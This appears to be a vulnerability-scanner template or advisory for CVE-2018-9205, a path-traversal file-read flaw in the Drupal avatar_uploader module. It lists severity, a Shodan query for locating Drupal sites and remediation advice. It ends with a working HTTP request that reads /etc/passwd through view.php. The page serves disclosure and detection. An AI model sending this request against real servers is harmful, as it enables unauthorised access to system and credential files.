| Title | Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and user data. |
| Remediation | Upgrade to the latest version of avatar_uploader. |
| CVSS Score | 7.5 |
| EPSS Score | 0.81446 |
| CVE ID | CVE-2018-9205 |
| CWE ID | CWE-22 |
| Shodan Query | http.component:"drupal" |
| Tags | cve cve2018 lfi drupal edb vkev vuln |
In avatar_uploader v7.x-1.0-beta8 the view.php program doesn’t restrict file paths, allowing unauthenticated users to retrieve arbitrary files.
GET /sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_3_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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